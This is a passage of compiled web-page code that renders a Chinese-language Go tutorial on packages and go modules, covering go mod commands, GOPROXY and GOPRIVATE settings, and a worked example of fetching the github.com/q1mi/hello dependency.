World!\n\u4f60\u597d\uff0c\u4e16\u754c\uff01\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u4e86\u89e3\u4e86Go\u8bed\u8a00\u4e2d\u5305\u7684\u5b9a\u4e49\u53ca\u5305\u7684\u521d\u59cb\u5316\u8fc7\u7a0b\uff0c\u8fd9\u8ba9\u6211\u4eec\u80fd\u591f\u5728\u5f00\u53d1\u65f6\u6309\u7167\u81ea\u5df1\u7684\u9700\u8981\u5b9a\u4e49\u5305\u3002\u540c\u65f6\u6211\u4eec\u8fd8\u5b66\u5230\u4e86\u5982\u4f55\u5728\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u5f15\u5165\u5176\u5b83\u7684\u5305\uff0c\u4e0d\u8fc7\u5728\u672c\u5c0f\u8282\u7684\u6240\u6709\u793a\u4f8b\u4e2d\u6211\u4eec\u90fd\u662f\u5f15\u5165Go\u5185\u7f6e\u7684\u5305\u3002\u73b0\u4ee3\u7f16\u7a0b\u8bed\u8a00\u5927\u591a\u90fd\u5141\u8bb8\u5f00\u53d1\u8005\u5bf9\u5916\u53d1\u5e03\u5305/\u5e93\uff0c\u4e5f\u652f\u6301\u5f00\u53d1\u8005\u5728\u81ea\u5df1\u7684\u4ee3\u7801\u4e2d\u5f15\u5165\u7b2c\u4e09\u65b9\u5e93\u3002\u8fd9\u6837\u7684\u8bbe\u8ba1\u80fd\u591f\u8ba9\u5e7f\u5927\u5f00\u53d1\u8005\u4e00\u8d77\u53c2\u4e0e\u5230\u8bed\u8a00\u7684\u751f\u6001\u73af\u5883\u5efa\u8bbe\u5f53\u4e2d\uff0c\u628a\u751f\u6001\u5efa\u8bbe\u7684\u66f4\u52a0\u5b8c\u5584\u3002"}),"\n",(0,i.jsx)(e.h2,{id:"go-module",children:"go module"}),"\n",(0,i.jsx)(e.p,{children:"\u5728Go\u8bed\u8a00\u7684\u65e9\u671f\u7248\u672c\u4e2d\uff0c\u6211\u4eec\u7f16\u5199Go\u9879\u76ee\u4ee3\u7801\u65f6\u6240\u4f9d\u8d56\u7684\u6240\u6709\u7b2c\u4e09\u65b9\u5305\u90fd\u9700\u8981\u4fdd\u5b58\u5728GOPATH\u8fd9\u4e2a\u76ee\u5f55\u4e0b\u9762\u3002\u8fd9\u6837\u7684\u4f9d\u8d56\u7ba1\u7406\u65b9\u5f0f\u5b58\u5728\u4e00\u4e2a\u81f4\u547d\u7684\u7f3a\u9677\uff0c\u90a3\u5c31\u662f\u4e0d\u652f\u6301\u7248\u672c\u7ba1\u7406\uff0c\u540c\u4e00\u4e2a\u4f9d\u8d56\u5305\u53ea\u80fd\u5b58\u5728\u4e00\u4e2a\u7248\u672c\u7684\u4ee3\u7801\u3002\u53ef\u662f\u6211\u4eec\u672c\u5730\u7684\u591a\u4e2a\u9879\u76ee\u5b8c\u5168\u53ef\u80fd\u5206\u522b\u4f9d\u8d56\u540c\u4e00\u4e2a\u7b2c\u4e09\u65b9\u5305\u7684\u4e0d\u540c\u7248\u672c\u3002"}),"\n",(0,i.jsx)(e.h3,{id:"go-module\u4ecb\u7ecd",children:"go module\u4ecb\u7ecd"}),"\n",(0,i.jsx)(e.p,{children:"Go module \u662f Go1.11 \u7248\u672c\u53d1\u5e03\u7684\u4f9d\u8d56\u7ba1\u7406\u65b9\u6848\uff0c\u4ece Go1.14 \u7248\u672c\u5f00\u59cb\u63a8\u8350\u5728\u751f\u4ea7\u73af\u5883\u4f7f\u7528\uff0c\u4e8eGo1.16\u7248\u672c\u9ed8\u8ba4\u5f00\u542f\u3002Go module \u63d0\u4f9b\u4e86\u4ee5\u4e0b\u547d\u4ee4\u4f9b\u6211\u4eec\u4f7f\u7528\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"go module\u76f8\u5173\u547d\u4ee4"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u547d\u4ee4"}),(0,i.jsx)(e.th,{style:{textAlign:"center"},children:"\u4ecb\u7ecd"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod init"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u521d\u59cb\u5316\u9879\u76ee\u4f9d\u8d56\uff0c\u751f\u6210go.mod\u6587\u4ef6"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod download"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u6839\u636ego.mod\u6587\u4ef6\u4e0b\u8f7d\u4f9d\u8d56"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod tidy"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u6bd4\u5bf9\u9879\u76ee\u6587\u4ef6\u4e2d\u5f15\u5165\u7684\u4f9d\u8d56\u4e0ego.mod\u8fdb\u884c\u6bd4\u5bf9"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod graph"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u8f93\u51fa\u4f9d\u8d56\u5173\u7cfb\u56fe"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod edit"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u7f16\u8f91go.mod\u6587\u4ef6"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod vendor"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u5c06\u9879\u76ee\u7684\u6240\u6709\u4f9d\u8d56\u5bfc\u51fa\u81f3vendor\u76ee\u5f55"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod verify"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u68c0\u9a8c\u4e00\u4e2a\u4f9d\u8d56\u5305\u662f\u5426\u88ab\u7be1\u6539\u8fc7"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"go mod why"}),(0,i.jsx)(e.td,{style:{textAlign:"center"},children:"\u89e3\u91ca\u4e3a\u4ec0\u4e48\u9700\u8981\u67d0\u4e2a\u4f9d\u8d56"})]})]})]}),"\n",(0,i.jsxs)(e.p,{children:["Go\u8bed\u8a00\u5728 go module \u7684\u8fc7\u6e21\u9636\u6bb5\u63d0\u4f9b\u4e86 ",(0,i.jsx)(e.code,{children:"GO111MODULE"})," \u8fd9\u4e2a\u73af\u5883\u53d8\u91cf\u6765\u4f5c\u4e3a\u662f\u5426\u542f\u7528 go module \u529f\u80fd\u7684\u5f00\u5173\uff0c\u8003\u8651\u5230 Go1.16 \u4e4b\u540e go module \u5df2\u7ecf\u9ed8\u8ba4\u5f00\u542f\uff0c\u6240\u4ee5\u672c\u4e66\u4e0d\u518d\u4ecb\u7ecd\u8be5\u914d\u7f6e\uff0c\u5bf9\u4e8e\u521a\u63a5\u89e6Go\u8bed\u8a00\u7684\u8bfb\u8005\u800c\u8a00\u5b8c\u5168\u6ca1\u6709\u5fc5\u8981\u4e86\u89e3\u8fd9\u4e2a\u5386\u53f2\u5305\u88b1\u3002"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"GOPROXY"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u4e2a\u73af\u5883\u53d8\u91cf\u4e3b\u8981\u662f\u7528\u4e8e\u8bbe\u7f6e Go \u6a21\u5757\u4ee3\u7406\uff08Go module proxy\uff09\uff0c\u5176\u4f5c\u7528\u662f\u7528\u4e8e\u4f7f Go \u5728\u540e\u7eed\u62c9\u53d6\u6a21\u5757\u7248\u672c\u65f6\u80fd\u591f\u8131\u79bb\u4f20\u7edf\u7684 VCS \u65b9\u5f0f\uff0c\u76f4\u63a5\u901a\u8fc7\u955c\u50cf\u7ad9\u70b9\u6765\u5feb\u901f\u62c9\u53d6\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["GOPROXY \u7684\u9ed8\u8ba4\u503c\u662f\uff1a",(0,i.jsx)(e.code,{children:"https://proxy.golang.org,direct"}),"\uff0c\u7531\u4e8e\u67d0\u4e9b\u539f\u56e0\u56fd\u5185\u65e0\u6cd5\u6b63\u5e38\u8bbf\u95ee\u8be5\u5730\u5740\uff0c\u6240\u4ee5\u6211\u4eec\u901a\u5e38\u9700\u8981\u914d\u7f6e\u4e00\u4e2a\u53ef\u8bbf\u95ee\u7684\u5730\u5740\u3002\u76ee\u524d\u793e\u533a\u4f7f\u7528\u6bd4\u8f83\u591a\u7684\u6709\u4e24\u4e2a",(0,i.jsx)(e.code,{children:"https://goproxy.cn"}),"\u548c",(0,i.jsx)(e.code,{children:"https://goproxy.io"}),"\uff0c\u5f53\u7136\u5982\u679c\u4f60\u7684\u516c\u53f8\u6709\u63d0\u4f9bGOPROXY\u5730\u5740\u90a3\u4e48\u5c31\u76f4\u63a5\u4f7f\u7528\u3002\u8bbe\u7f6eGOPAROXY\u7684\u547d\u4ee4\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"go env -w GOPROXY=https://goproxy.cn,direct\n"})}),"\n",(0,i.jsx)(e.p,{children:"GOPROXY \u5141\u8bb8\u8bbe\u7f6e\u591a\u4e2a\u4ee3\u7406\u5730\u5740\uff0c\u591a\u4e2a\u5730\u5740\u4e4b\u95f4\u9700\u4f7f\u7528\u82f1\u6587\u9017\u53f7 \u201c,\u201d \u5206\u9694\u3002\u6700\u540e\u7684 \u201cdirect\u201d \u662f\u4e00\u4e2a\u7279\u6b8a\u6307\u793a\u7b26\uff0c\u7528\u4e8e\u6307\u793a Go \u56de\u6e90\u5230\u6e90\u5730\u5740\u53bb\u6293\u53d6\uff08\u6bd4\u5982 GitHub \u7b49\uff09\u3002\u5f53\u914d\u7f6e\u6709\u591a\u4e2a\u4ee3\u7406\u5730\u5740\u65f6\uff0c\u5982\u679c\u7b2c\u4e00\u4e2a\u4ee3\u7406\u5730\u5740\u8fd4\u56de 404 \u6216 410 \u9519\u8bef\u65f6\uff0cGo \u4f1a\u81ea\u52a8\u5c1d\u8bd5\u4e0b\u4e00\u4e2a\u4ee3\u7406\u5730\u5740\uff0c\u5f53\u9047\u89c1 \u201cdirect\u201d \u65f6\u89e6\u53d1\u56de\u6e90\uff0c\u4e5f\u5c31\u662f\u56de\u5230\u6e90\u5730\u5740\u53bb\u6293\u53d6\u3002"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"GOPRIVATE"})}),"\n",(0,i.jsx)(e.p,{children:"\u8bbe\u7f6e\u4e86GOPROXY \u4e4b\u540e\uff0cgo \u547d\u4ee4\u5c31\u4f1a\u4ece\u914d\u7f6e\u7684\u4ee3\u7406\u5730\u5740\u62c9\u53d6\u548c\u6821\u9a8c\u4f9d\u8d56\u5305\u3002\u5f53\u6211\u4eec\u5728\u9879\u76ee\u4e2d\u5f15\u5165\u4e86\u975e\u516c\u5f00\u7684\u5305\uff08\u516c\u53f8\u5185\u90e8git\u4ed3\u5e93\u6216 github \u79c1\u6709\u4ed3\u5e93\u7b49\uff09\uff0c\u6b64\u65f6\u4fbf\u65e0\u6cd5\u6b63\u5e38\u4ece\u4ee3\u7406\u62c9\u53d6\u5230\u8fd9\u4e9b\u975e\u516c\u5f00\u7684\u4f9d\u8d56\u5305\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u9700\u8981\u914d\u7f6e GOPRIVATE \u73af\u5883\u53d8\u91cf\u3002GOPRIVATE\u7528\u6765\u544a\u8bc9 go \u547d\u4ee4\u54ea\u4e9b\u4ed3\u5e93\u5c5e\u4e8e\u79c1\u6709\u4ed3\u5e93\uff0c\u4e0d\u5fc5\u901a\u8fc7\u4ee3\u7406\u670d\u52a1\u5668\u62c9\u53d6\u548c\u6821\u9a8c\u3002"}),"\n",(0,i.jsx)(e.p,{children:"GOPRIVATE \u7684\u503c\u4e5f\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2a\uff0c\u591a\u4e2a\u5730\u5740\u4e4b\u95f4\u4f7f\u7528\u82f1\u6587\u9017\u53f7 \u201c,\u201d \u5206\u9694\u3002\u6211\u4eec\u901a\u5e38\u4f1a\u628a\u81ea\u5df1\u516c\u53f8\u5185\u90e8\u7684\u4ee3\u7801\u4ed3\u5e93\u8bbe\u7f6e\u5230 GOPRIVATE \u4e2d\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:'$ go env -w GOPRIVATE="git.mycompany.com"\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u6837\u5728\u62c9\u53d6\u4ee5",(0,i.jsx)(e.code,{children:"git.mycompany.com"}),"\u4e3a\u8def\u5f84\u524d\u7f00\u7684\u4f9d\u8d56\u5305\u65f6\u5c31\u80fd\u6b63\u5e38\u62c9\u53d6\u4e86\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u6b64\u5916\uff0c\u5982\u679c\u516c\u53f8\u5185\u90e8\u81ea\u5efa\u4e86 GOPROXY \u670d\u52a1\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e ",(0,i.jsx)(e.code,{children:"GONOPROXY=none"}),"\uff0c\u5141\u8bb8\u901a\u5185\u90e8\u4ee3\u7406\u62c9\u53d6\u79c1\u6709\u4ed3\u5e93\u7684\u5305\u3002"]}),"\n",(0,i.jsx)(e.h3,{id:"\u4f7f\u7528go-module\u5f15\u5165\u5305",children:"\u4f7f\u7528go module\u5f15\u5165\u5305"}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u6211\u4eec\u5c06\u901a\u8fc7\u4e00\u4e2a\u793a\u4f8b\u6765\u6f14\u793a\u5982\u4f55\u5728\u5f00\u53d1\u9879\u76ee\u65f6\u4f7f\u7528 go module \u62c9\u53d6\u548c\u7ba1\u7406\u9879\u76ee\u4f9d\u8d56\u3002"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u521d\u59cb\u5316\u9879\u76ee"})," \u6211\u4eec\u5728\u672c\u5730\u65b0\u5efa\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\uff0c\u6309\u5982\u4e0b\u65b9\u5f0f\u521b\u5efa\u4e00\u4e2a\u540d\u4e3a",(0,i.jsx)(e.code,{children:"holiday"}),"\u7684\u6587\u4ef6\u5939\u5e76\u5207\u6362\u5230\u8be5\u76ee\u5f55\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"$ mkdir holiday\n$ cd holiday\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u76ee\u524d\u6211\u4eec\u4f4d\u4e8e",(0,i.jsx)(e.code,{children:"holiday"}),"\u6587\u4ef6\u5939\u4e0b\uff0c\u63a5\u4e0b\u6765\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u521d\u59cb\u5316\u9879\u76ee\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"$ go mod init holiday\ngo: creating new go.mod: module holiday\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8be5\u547d\u4ee4\u4f1a\u81ea\u52a8\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u521b\u5efa\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\uff0c\u5176\u5185\u5bb9\u5982\u4e0b\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"module holiday\uff1a\u5b9a\u4e49\u5f53\u524d\u9879\u76ee\u7684\u5bfc\u5165\u8def\u5f84"}),"\n",(0,i.jsx)(e.li,{children:"go 1.16\uff1a\u6807\u8bc6\u5f53\u524d\u9879\u76ee\u4f7f\u7528\u7684 Go \u7248\u672c"}),"\n"]}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4f1a\u8bb0\u5f55\u9879\u76ee\u4f7f\u7528\u7684\u7b2c\u4e09\u65b9\u4f9d\u8d56\u5305\u4fe1\u606f\uff0c\u5305\u62ec\u5305\u540d\u548c\u7248\u672c\uff0c\u7531\u4e8e\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u76ee\u524d\u8fd8\u6ca1\u6709\u4f7f\u7528\u5230\u7b2c\u4e09\u65b9\u4f9d\u8d56\u5305\uff0c\u6240\u4ee5",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u6682\u65f6\u8fd8\u6ca1\u6709\u8bb0\u5f55\u4efb\u4f55\u4f9d\u8d56\u5305\u4fe1\u606f\uff0c\u53ea\u6709\u5f53\u524d\u9879\u76ee\u7684\u4e00\u4e9b\u4fe1\u606f\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u63a5\u4e0b\u6765\uff0c\u6211\u4eec\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u65b0\u5efa\u4e00\u4e2a",(0,i.jsx)(e.code,{children:"main.go"}),"\u6587\u4ef6\uff0c\u5176\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'// holiday/main.go\n\npackage main\n\nimport "fmt"\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n}\n'})}),"\n",(0,i.jsxs)(e.p,{children:["\u7136\u540e\uff0c\u6211\u4eec\u7684",(0,i.jsx)(e.code,{children:"holiday"}),"\u9879\u76ee\u73b0\u5728\u9700\u8981\u5f15\u5165\u4e00\u4e2a\u7b2c\u4e09\u65b9\u5305",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\u6765\u5b9e\u73b0\u4e00\u4e9b\u5fc5\u8981\u7684\u529f\u80fd\u3002\u7c7b\u4f3c\u8fd9\u6837\u7684\u573a\u666f\u5728\u6211\u4eec\u7684\u65e5\u5e38\u5f00\u53d1\u4e2d\u662f\u5f88\u5e38\u89c1\u7684\u3002\u6211\u4eec\u9700\u8981\u5148\u5c06\u4f9d\u8d56\u5305\u4e0b\u8f7d\u5230\u672c\u5730\u540c\u65f6\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u8bb0\u5f55\u4f9d\u8d56\u4fe1\u606f\uff0c\u7136\u540e\u624d\u80fd\u5728\u6211\u4eec\u7684\u4ee3\u7801\u4e2d\u5f15\u5165\u5e76\u4f7f\u7528\u8fd9\u4e2a\u5305\u3002\u4e0b\u8f7d\u4f9d\u8d56\u5305\u4e3b\u8981\u6709\u4e24\u79cd\u65b9\u6cd5\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u7b2c\u4e00\u79cd\u65b9\u6cd5\u662f\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u6267\u884c",(0,i.jsx)(e.code,{children:"go get"}),"\u547d\u4ee4\u624b\u52a8\u4e0b\u8f7d\u4f9d\u8d56\u7684\u5305\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go get -u github.com/q1mi/hello\ngo get: added github.com/q1mi/hello v0.1.1\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u6837\u9ed8\u8ba4\u4f1a\u4e0b\u8f7d\u6700\u65b0\u7684\u53d1\u5e03\u7248\u672c\uff0c\u4f60\u4e5f\u53ef\u4ee5\u6307\u5b9a\u60f3\u8981\u4e0b\u8f7d\u6307\u5b9a\u7684\u7248\u672c\u53f7\u7684\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go get -u github.com/q1mi/hello@v0.1.0\ngo: downloading github.com/q1mi/hello v0.1.0\ngo get: downgraded github.com/q1mi/hello v0.1.1 => v0.1.0\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u4f9d\u8d56\u5305\u6ca1\u6709\u53d1\u5e03\u4efb\u4f55\u7248\u672c\u5219\u4f1a\u62c9\u53d6\u6700\u65b0\u7684\u63d0\u4ea4\uff0c\u6700\u7ec8",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u7684\u4f9d\u8d56\u4fe1\u606f\u4f1a\u53d8\u6210\u7c7b\u4f3c\u4e0b\u9762\u8fd9\u79cd\u7531\u9ed8\u8ba4v0.0.0\u7684\u7248\u672c\u53f7\u548c\u6700\u65b0\u4e00\u6b21commit\u7684\u65f6\u95f4\u548chash\u7ec4\u6210\u7684\u7248\u672c\u683c\u5f0f\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"require github.com/q1mi/hello v0.0.0-20210218074646-139b0bcd549d\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5982\u679c\u60f3\u6307\u5b9a\u4e0b\u8f7d\u67d0\u4e2acommit\u5bf9\u5e94\u7684\u4ee3\u7801\uff0c\u53ef\u4ee5\u76f4\u63a5\u6307\u5b9acommit hash\uff0c\u4e0d\u8fc7\u6ca1\u6709\u5fc5\u8981\u5199\u51fa\u5b8c\u6574\u7684commit hash\uff0c\u4e00\u822c\u524d7\u4f4d\u5373\u53ef\u3002\u4f8b\u5982\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go get github.com/q1mi/hello@2ccfadd\ngo: downloading github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3\ngo get: added github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6b64\u65f6\uff0c\u6211\u4eec\u6253\u5f00",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u5c31\u53ef\u4ee5\u770b\u5230\u4e0b\u8f7d\u7684\u4f9d\u8d56\u5305\u53ca\u7248\u672c\u4fe1\u606f\u90fd\u5df2\u7ecf\u88ab\u8bb0\u5f55\u4e0b\u6765\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.0 // indirect\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u884c\u5c3e\u7684",(0,i.jsx)(e.code,{children:"indirect"}),"\u8868\u793a\u8be5\u4f9d\u8d56\u5305\u4e3a\u95f4\u63a5\u4f9d\u8d56\uff0c\u8bf4\u660e\u5728\u5f53\u524d\u7a0b\u5e8f\u4e2d\u7684\u6240\u6709 import \u8bed\u53e5\u4e2d\u6ca1\u6709\u53d1\u73b0\u5f15\u5165\u8fd9\u4e2a\u5305\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u53e6\u5916\u5728\u6267\u884c",(0,i.jsx)(e.code,{children:"go get"}),"\u547d\u4ee4\u4e0b\u8f7d\u4e00\u4e2a\u65b0\u7684\u4f9d\u8d56\u5305\u65f6\u4e00\u822c\u4f1a\u989d\u5916\u6dfb\u52a0",(0,i.jsx)(e.code,{children:"-u"}),"\u53c2\u6570\uff0c\u5f3a\u5236\u66f4\u65b0\u73b0\u6709\u4f9d\u8d56\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u7b2c\u4e8c\u79cd\u65b9\u5f0f\u662f\u6211\u4eec\u76f4\u63a5\u7f16\u8f91",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\uff0c\u5c06\u4f9d\u8d56\u5305\u548c\u7248\u672c\u4fe1\u606f\u5199\u5165\u8be5\u6587\u4ef6\u3002\u4f8b\u5982\u6211\u4eec\u4fee\u6539",(0,i.jsx)(e.code,{children:"holiday/go.mod"}),"\u6587\u4ef6\u5185\u5bb9\u5982\u4e0b\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello latest\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8868\u793a\u5f53\u524d\u9879\u76ee\u9700\u8981\u4f7f\u7528",(0,i.jsx)(e.code,{children:"github.com/q1mi/hello"}),"\u5e93\u7684\u6700\u65b0\u7248\u672c\uff0c\u7136\u540e\u5728\u9879\u76ee\u76ee\u5f55\u4e0b\u6267\u884c",(0,i.jsx)(e.code,{children:"go mod download"}),"\u4e0b\u8f7d\u4f9d\u8d56\u5305\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go mod download\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u5982\u679c\u4e0d\u8f93\u51fa\u5176\u5b83\u63d0\u793a\u4fe1\u606f\u5c31\u8bf4\u660e\u4f9d\u8d56\u5df2\u7ecf\u4e0b\u8f7d\u6210\u529f\uff0c\u6b64\u65f6",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u5df2\u7ecf\u53d8\u6210\u5982\u4e0b\u5185\u5bb9\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.1\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4ece\u4e2d\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u6700\u65b0\u7684\u7248\u672c\u53f7\u662f",(0,i.jsx)(e.code,{children:"v0.1.1"}),"\u3002\u5982\u679c\u4e8b\u5148\u77e5\u9053\u4f9d\u8d56\u5305\u7684\u5177\u4f53\u7248\u672c\u53f7\uff0c\u53ef\u4ee5\u76f4\u63a5\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u4e2d\u6307\u5b9a\u9700\u8981\u7684\u7248\u672c\u7136\u540e\u518d\u6267\u884c",(0,i.jsx)(e.code,{children:"go mod download"}),"\u4e0b\u8f7d\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u79cd\u65b9\u6cd5\u540c\u6837\u652f\u6301\u6307\u5b9a\u60f3\u8981\u4e0b\u8f7d\u7684commit\u8fdb\u884c\u4e0b\u8f7d\uff0c\u4f8b\u5982\u76f4\u63a5\u5728",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u6309\u5982\u4e0b\u65b9\u5f0f\u6307\u5b9acommit hash\uff0c\u8fd9\u91cc\u53ea\u5199\u51fa\u6765\u4e86commit hash\u7684\u524d7\u4f4d\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"require github.com/q1mi/hello 2ccfadda\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u6267\u884c",(0,i.jsx)(e.code,{children:"go mod download"}),"\u4e0b\u8f7d\u5b8c\u4f9d\u8d56\u540e\uff0c",(0,i.jsx)(e.code,{children:"go.mod"}),"\u6587\u4ef6\u4e2d\u5bf9\u5e94\u7684\u7248\u672c\u4fe1\u606f\u4f1a\u81ea\u52a8\u66f4\u65b0\u4e3a\u7c7b\u4f3c\u4e0b\u9762\u7684\u683c\u5f0f\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"module holiday\n\ngo 1.16\n\nrequire github.com/q1mi/hello v0.1.2-0.20210219092711-2ccfaddad6a3\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0b\u8f7d\u597d\u8981\u4f7f\u7528\u7684\u4f9d\u8d56\u5305\u4e4b\u540e\uff0c\u6211\u4eec\u73b0\u5728\u5c31\u53ef\u4ee5\u5728",(0,i.jsx)(e.code,{children:"holiday/main.go"}),"\u6587\u4ef6\u4e2d\u4f7f\u7528\u8fd9\u4e2a\u5305\u4e86\u3002"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\n\t"github.com/q1mi/hello"\n)\n\nfunc main() {\n\tfmt.Println("\u73b0\u5728\u662f\u5047\u671f\u65f6\u95f4...")\n\n\thello.SayHi() // \u8c03\u7528hello\u5305\u7684SayHi\u51fd\u6570\n}\n'})}),"\n",(0,i.jsx)(e.p,{children:"\u5c06\u4e0a\u8ff0\u4ee3\u7801\u7f16\u8bd1\u6267\u884c\uff0c\u5c31\u80fd\u770b\u5230\u6267\u884c\u7ed3\u679c\u4e86\u3002"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-bash",children:"holiday $ go build\nholiday $ 